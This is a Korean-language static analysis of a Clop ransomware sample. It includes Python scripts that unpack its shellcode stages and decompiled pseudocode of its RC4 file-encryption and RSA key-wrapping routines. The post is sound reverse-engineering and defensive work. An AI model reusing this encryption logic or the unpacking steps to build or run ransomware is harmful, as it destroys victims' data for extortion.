0%

Clop Ransomware

Clop // Ransomware

File info

Info Value
SHA256 3d94c4a92382c5c45062d8ea0517be4011be8ba42e9c9a614a99327d0ebdf05b
File Size 183KB
File Type .exe(win32)
Function Crypto

Static Analysis

분석환경

  • OS : Windows10
  • Tools : IDA Pro, 010Editor

Step 1

그림1

Clop Sample을 다운 받은 후 IDA로 확인했을때의 모습이다. 바이너리가 호출하는 함수의 개수가 적은 것으로 보아 바로 악성행위를 분석할 수 있을 것 같지 않다. Line115에서 for문을 500000번을 도는데 이는 단순히 동적 분석을 방해하는 fake코드 인 것 같다. 해당 루프를 탈출하면 Line140의 조건문으로 들어가게 된다.

그림2

조건문안에는 쓰이지 않는 값들을 변수에 할당해주며 마지막에 401000()을 호출한다.

그림3

401000()에서는 VirtualAlloc을 통해 메모리를 할당하게 되는데 빨간 박스 부분에서 할당한 메모리에 값을 쓰게된다. 여기서 Line 176, 183, 185가 연산에 쓰이는 핵심 코드이며 나머지는 쓰레기 코드이다.

그림4

위 과정에서 입력한 내용을 Line232에서 호출하는 것으로 보아, 다음 단계로 넘어가기 위해 Shellcode를 쓰고 호출하는 것을 예상할 수 있다. 내용을 입력할 때 사용한 코드를 아래와 같이 python으로 똑같이 구현하여 쉘코드를 추출할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct

def ROL4(x,n):
x = (x << n) | (x >> (32-n))
return x & 0xFFFFFFFF

with open('clop','rb') as f:
f.seek(0x933C)
shellcode = f.read(1380*4)

decode = b''

for i in range(0,1380):
decode += struct.pack('<I',((0x4559 ^ ROL4(0x4559 ^ struct.unpack('<I',shellcode[i*4:(i+1)*4])[0],9)) - i) & 0xFFFFFFFF)

with open('decoded.bin','wb') as file:
file.write(decode)

Step 2

그림5

Step 1에서 추출한 Shellcode를 IDA로 확인한 모습니다. TerminateThread, Virtual..와 같은 문자열이 있는걸 확인할 수 있고 이는 성공적으로 두번째 단계에 들어왔음을 의미한다.

그림6

Step 1에서 인자로 받아온 Kernel32와 GetProcAddress를 통해 필요한 함수 주소를 알아온다. 성공적으로 모든 함수의 주소를 알아 왔다면 VirtualQuery 함수를 호출한다.

그림7

VirtualQuery함수는 프로세스의 특정 메모리의 정보, 권한을 얻어온다. 여기서 lpAddress의 인자 값으로 retaddr이 들어갔는데 이 주소는 Step 1에서 Shellcode 호출 후 다음으로 실행될 주소이다. 이는 이전 Step 의 바이너리의 ImageBase주소의 정보를 얻기 위함으로 예상된다.

그림8

Line265 269에서 args[2],args[4]만큼의 크기를 VirtualAlloc한다. 여기서 args는 Step 1에서 Shellcode를 호출 할 때의 인자값들로 아래 그림을 참고하면 args[2]는 3번째 인자인 0x19d48 args[4]는 5번째 인자인 0x20200임을 알 수 있다.

그림9

그림10

각각 크기로 VirtualAlloc을 한 후, 반복문을 통해 0x19d48만큼 할당한 메모리에 값을 쓴다. 이 과정에서는 Step 1에서 Shellcode를 추출할 때 보였던 코드가 있으며, 이는 다음 단계로 넘어가는 Shellcode를 추출하는 것임을 다시 한 번 예상할 수 있다. Shellcode를 추출 한 후 aplib_decompress을 호출한다. 이때 인자는 0x19d48만큼 할당한 메모리와 0x20200만큼 할당한 메모리가 되는데 추출 한 Shellcode를 decompress하여 해당 내용을 더 큰 메모리에 쓰는 역할을 한다.

다음 단계로 넘어가기 위해 Step 1과 동일하게 해당 코드를 python으로 구현하였고, 이 때 decompress하는 과정은 아래 모듈을 사용했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
import struct
from binascii import crc32
from io import BytesIO

__all__ = ['APLib', 'decompress']
__version__ = '0.6'
__author__ = 'Sandor Nemes'


class APLib(object):

__slots__ = 'source', 'destination', 'tag', 'bitcount', 'strict'

def __init__(self, source, strict=True):
self.source = BytesIO(source)
self.destination = bytearray()
self.tag = 0
self.bitcount = 0
self.strict = bool(strict)

def getbit(self):
# check if tag is empty
self.bitcount -= 1
if self.bitcount < 0:
# load next tag
self.tag = ord(self.source.read(1))
self.bitcount = 7

# shift bit out of tag
bit = self.tag >> 7 & 1
self.tag <<= 1

return bit

def getgamma(self):
result = 1

# input gamma2-encoded bits
while True:
result = (result << 1) + self.getbit()
if not self.getbit():
break

return result

def depack(self):
r0 = -1
lwm = 0
done = False

try:

# first byte verbatim
self.destination += self.source.read(1)

# main decompression loop
while not done:
if self.getbit():
if self.getbit():
if self.getbit():
offs = 0
for _ in range(4):
offs = (offs << 1) + self.getbit()

if offs:
self.destination.append(self.destination[-offs])
else:
self.destination.append(0)

lwm = 0
else:
offs = ord(self.source.read(1))
length = 2 + (offs & 1)
offs >>= 1

if offs:
for _ in range(length):
self.destination.append(self.destination[-offs])
else:
done = True

r0 = offs
lwm = 1
else:
offs = self.getgamma()

if lwm == 0 and offs == 2:
offs = r0
length = self.getgamma()

for _ in range(length):
self.destination.append(self.destination[-offs])
else:
if lwm == 0:
offs -= 3
else:
offs -= 2

offs <<= 8
offs += ord(self.source.read(1))
length = self.getgamma()

if offs >= 32000:
length += 1
if offs >= 1280:
length += 1
if offs < 128:
length += 2

for _ in range(length):
self.destination.append(self.destination[-offs])

r0 = offs

lwm = 1
else:
self.destination += self.source.read(1)
lwm = 0

except (TypeError, IndexError):
if self.strict:
raise RuntimeError('aPLib decompression error')

return bytes(self.destination)

def pack(self):
raise NotImplementedError


def decompress(data, strict=False):
packed_size = None
packed_crc = None
orig_size = None
orig_crc = None

if data.startswith(b'AP32') and len(data) >= 24:
# data has an aPLib header
header_size, packed_size, packed_crc, orig_size, orig_crc = struct.unpack_from('=IIIII', data, 4)
data = data[header_size : header_size + packed_size]

if strict:
if packed_size is not None and packed_size != len(data):
raise RuntimeError('Packed data size is incorrect')
if packed_crc is not None and packed_crc != crc32(data):
raise RuntimeError('Packed data checksum is incorrect')

result = APLib(data, strict=strict).depack()

if strict:
if orig_size is not None and orig_size != len(result):
raise RuntimeError('Unpacked data size is incorrect')
if orig_crc is not None and orig_crc != crc32(result):
raise RuntimeError('Unpacked data checksum is incorrect')

return result


def main():
# self-test
data = b'T\x00he quick\xecb\x0erown\xcef\xaex\x80jumps\xed\xe4veur`t?lazy\xead\xfeg\xc0\x00'
assert decompress(data) == b'The quick brown fox jumps over the lazy dog'


def ROL4(x,n):
x = (x << n) | (x >> (32-n))
return x & 0xFFFFFFFF

with open("clop","rb") as f:
f.seek(0xA8D0)
data = f.read(0x19d48)

i = 0
j = 0
result = b''
decode = b''

while i<0x19d48:
if j % 3 == 0:
i = i + 2
result += data[i].to_bytes(1,'little')
i = i + 1
j = j + 1

for i in range(len(result ) // 4):
decode += struct.pack('<I',((0x0AE0 ^ ROL4(0x0AE0 ^ struct.unpack('<I',result[i*4:(i+1)*4])[0],9)) - i) & 0xFFFFFFFF)

with open("decompress","wb") as f:
f.write(decompress(decode))

Step 3

그림11

세 번째 단계로 들어왔다. 여기에는 악성코드에서 쓰일법한 함수들이 많이 있는 것으로 보아 실제 악성 행위를 하는 코드가 있을 것이다.

그림12

특정 조건을 만족하면 CreateThread함수를 호출한다. 이 때 Thread가 수행하는 함수는 악성 행위를 할 가능성이 높다.

그림15

WNetOpenEum,WNetEenumResource함수 호출로 현재 연결되어있는 네트워크 정보를 알아온다. 그리고 특정 조건이 만족되면 다시 한 번 CreateThread함수를 호출한다.

그림16

Crypt로 시작하는 함수들이 보인다. 암호화 관련 코드인 것 같다. pubKey 문자열을 복사하는데 해당 내용은 아래와 같다.

그림17

  • CryptStringToBinaryA : 포맷된 문자열을 바이트 배열로 변환
  • CryptDecodeObjectEx : 변환된 바이트 배열을 구조체 변수로 디코딩
  • CryptAcquireContextW : 특정 cryptographic service provider(CSP)에서 원하는 키 컨테이너의 핸들값을 가져옴
  • CryptImportPublicKeyInfo : pubkey의 핸들값을 가져옴

위에서 얻은 Key, 구조체, 핸들 값을 가지고 4014b0()을 호출한다.

그림18

4014b0()에서는 암호화할 path를 확인한다. 조건문에서 compare_hash_file의 반환 값에 따라 LABEL_37로 이동한다.

그림20

compare_hash_file함수에서는 특정 hash값과 path에 대한 hash값을 비교하여 return 값을 반환한다. 이 는 모든 Windows의 파일을 암호화하게 된다면 정상적인 작동이 어렵기에 Windows 동작에 필요한 특정 파일들을 암호화에서 제외하는 작업이다.

그림19

LABLE_37은 4014b0을 다시 호출하는 것을 확인 할 수 있는데 이는 해당 path의 하위 폴더를 대상으로 재귀적인 호출을 통해 암호화에서 제외하는 작업으로 판단된다.

그림21

그러고 나서 조건문을 만나는데, 파일 속성이 디렉토리가 아닐 경우, 파일이름이 .. , . 가 아닐 경우, 파일 이름이 README_README.txt가 아닐 경우와 추가적으로

그림22

특정 파일의 hash값과 일치 하지 않을 경우 (특정 파일이 아닌경우)

그림23

파일의 확장자가 특정 값이 아닐 경우 (특정 확장자가 아닌경우)에 조건문을 실행하게 된다.
여기서 제외되는 확장자는 아래와 같다.

- .CI0P : 과거 암호화 파일 확장자
- .OCX : ActiveX 파일
- .DLL : 동적 라이브러리
- .EXE : 실행 파일
- .SYS : 드라이버 파일
- .LNK : 바로가기 파일
- .ICO : 아이콘 파일
- .INI : 설정파일
- .MSI : Installer 파일
- .CHM : 도움말 파일
- .HLF
- .LNG : 언어팩 파일
- .TTF : 폰트 파일
- .CMD : 배치 파일
- .BAT : 배치 파일
- .CLLP : 현재 랜섬웨어 암호화 파일

그림24

조건을 만족하게 되면 앞에서 받아온 암호화 관련 key, 구조체, 핸들값들을 구조체로 만들고 CreateThread를 호출한다. 이 구조체는 CreateThread의 실행 함수의 인자로 쓰이며 해당 함수는 파일을 암호화하는 함수이다.

파일을 암호화 할 때 파일 크기가 17000보다 작으면, 암호화를 진행하지 않는다.

파일 크기가 17000보다 크다면, 파일 크기에 따라 두 가지 방법으로 나뉜다.

1
2
3
4
5
6
7
8
9
if ( args->fileSize > 2132432 )             // 파일 크기가 2132432보다 클 때 암호화 루틴
{
v17 = CreateFileMappingW(v3, 0, 4u, 0, 2132432u, 0);
NumberOfBytesRead = (DWORD)v17;
if ( !v17 )
goto LABEL_31;
lpBuffer = MapViewOfFile(v17, 6u, 0, 0x10000u, 0x1F89D0u);// 파일 내용을 메모리에 맵핑
if ( !lpBuffer )
goto LABEL_31;

파일 크기가 2132432보다 크면 CreateFileMapping함수를 호출하는데 이는 파일 크기가 크기 때문에 open,read,write에 대한 오버헤드 역시 커져 메모리에 맵핑 후 수정하는 방식(MMF)을 사용한 것이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v18 = VirtualAlloc(0, 0x75u, 0x3000u, 4u);
rc4_key = v18;
if ( v18 )
{
memset(v18, 0, 0x75u);
v20 = 0;
do
rc4_key[v20++] = sbox[random_range(0, 256)];
while ( v20 < 117 );
if ( !*rc4_key && !rc4_key[1] && !rc4_key[2] && !rc4_key[3] && !rc4_key[5] )
{
qmemcpy(rc4_key, &fixed_key, 0x75u);
v2 = v33;
}
nNumberOfBytesToRead = 0;

sbox에서 랜덤으로 값을 가져와 rc4_key를 만든다. 만약 조건을 만족하면 고정된 key를 사용하는데 이는 악성코드 제작자가 사용하기 위한 용도일 것이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
v21 = CreateFileW(&FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
if ( WriteFile(v21, "Cllp^_-", 7u, &nNumberOfBytesToRead, 0)
&& (nNumberOfBytesToWrite = 0,
encrypted_key = (BYTE *)VirtualAlloc(0, 0x87u, 0x3000u, 4u),
v23 = v2->hKey,
v28 = (DWORD)encrypted_key,
encrypt_key(rc4_key, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v23, encrypted_key),
WriteFile(v21, (LPCVOID)v28, nNumberOfBytesToWrite, &nNumberOfBytesToRead, 0))
&& v28 )
{
v24 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree;
VirtualFree((LPVOID)v28, 0, 0x8000u);
}
else
{
v24 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree;
}

암호화에 쓰일 rc4_key를 만든 후 암호화 대상 파일의 이름과 같은 이름의 .clip확장자의 파일을 만든다. 그리고 clip^_-문자열과 rc4_key값을 encrypt_key함수를 통해 RSA로 암호화한 후 해당 파일에 적는다. (rc4_key를 encrpyt하는 과정)

1
2
3
4
5
6
7
8
9
10
11
    if ( v21 )
CloseHandle(v21);
rc4_init((int)rc4_key, 117, (int)&a3);
rc4_encrypt((char *)lpBuffer, 0x1F89D0u, (char *)&a3);
UnmapViewOfFile(lpBuffer);
v4 = (void (__stdcall *)(HANDLE))CloseHandle;
CloseHandle((HANDLE)lpBuffer);
CloseHandle((HANDLE)NumberOfBytesRead);
v24(rc4_key, 0, 0x8000u);
}
}

만든 rc4_key를 가지고 rc4_init,rc4_encrypt함수를 호출하여 암호화 대상 파일을 암호화 한다. (파일을 encrypt하는 과정)

1
2
3
4
5
6
7
8
9
10
else
{ // 파일 크기가 2132432 보다 작거나 같을때 암호화 루틴
v6 = args->fileSize;
NumberOfBytesRead = 0;
v28 = 0;
SetFilePointer(v3, 0x4000, 0, 0);
nNumberOfBytesToRead = v6 - 0x4000;
v7 = GlobalAlloc(0x40u, v6 - 0x4000);
v29 = v7;
if ( v7 && ReadFile(v5, v7, nNumberOfBytesToRead, &NumberOfBytesRead, 0) )

파일 크기가 2132432보다 작으면 메모리 mapping 방식이 아닌 read,write 방식을 사용하고, 나머지 encrypt 방식은 위와 동일하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
{
v8 = VirtualAlloc(0, 0x75u, 0x3000u, 4u);
rc4_key_ = v8;
if ( v8 )
{
memset(v8, 0, 0x75u);
v10 = 0;
do
rc4_key_[v10++] = sbox[random_range(0, 256)];
while ( v10 < 117 );
if ( !*rc4_key_ && !rc4_key_[1] && !rc4_key_[2] && !rc4_key_[3] && !rc4_key_[5] )
{
qmemcpy(rc4_key_, &fixed_key, 0x75u);
v2 = v33;
}
NumberOfBytesWritten = 0;
v11 = CreateFileW(&FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
if ( WriteFile(v11, "Cllp^_-", 7u, &NumberOfBytesWritten, 0) )
{
nNumberOfBytesToWrite = 0;
v12 = VirtualAlloc(0, 0x87u, 0x3000u, 4u);
v13 = v2->hKey;
lpBuffer = v12;
encrypt_key(rc4_key_, (int)&nNumberOfBytesToWrite, (int)v2, v2->pki, v2->hProv, v13, (BYTE *)v12);
v14 = (void *)lpBuffer;
if ( WriteFile(v11, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
{
if ( v14 )
VirtualFree(v14, 0, 0x8000u);
}
}
if ( v11 )
CloseHandle(v11);
v7 = (void *)v29;
}
rc4_init((int)rc4_key_, 117, (int)&a3);
v15 = nNumberOfBytesToRead;
rc4_encrypt((char *)v7, nNumberOfBytesToRead, (char *)&a3);
v16 = hFile;
SetFilePointer(hFile, 0x4000, 0, 0);
WriteFile(v16, v29, v15, &v28, 0);
v7 = (void *)v29;
}

img

encrypt하는 방식은 크기와 무관하지만, 범위는 다르다. 암호화 되는 범위는 위와 같다.

그림26

파일을 암호화 한 뒤 해당 경로에 README_README.txt의 랜섬노트를 만드는 것을 확인할 수 있다.

그림25

위와 같은 방법으로 암호화를 진행하며 encrypt_thread 함수는 여러 함수에서 호출된다. 이는 다양한 path에 대한 파일을 찾는 부분은 여러개지만 암호화에 사용되는 함수는 똑같음을 의미한다.

Malicious behavior

Flow

  1. 악성코드 유포
  2. 악성코드 자가 삭제 batch 파일 생성, 루프 돌면서 끝날 때까지 체크
  3. WinCheckDRVs 서비스로 악성코드 등록
  4. 모든 드라이브를 돌면서 암호화 대상 파일을 체크 및 암호화
  5. 암호화된 파일 경로에 암호화에 쓰인 rc4_key값을 rsa로 암호화 한 내용을 저장(.clip)
  6. 암호화된 파일 경로에 랜섬노트 생성

Functions

img

Execution

KakaoTalk_20210522_195528233

Reference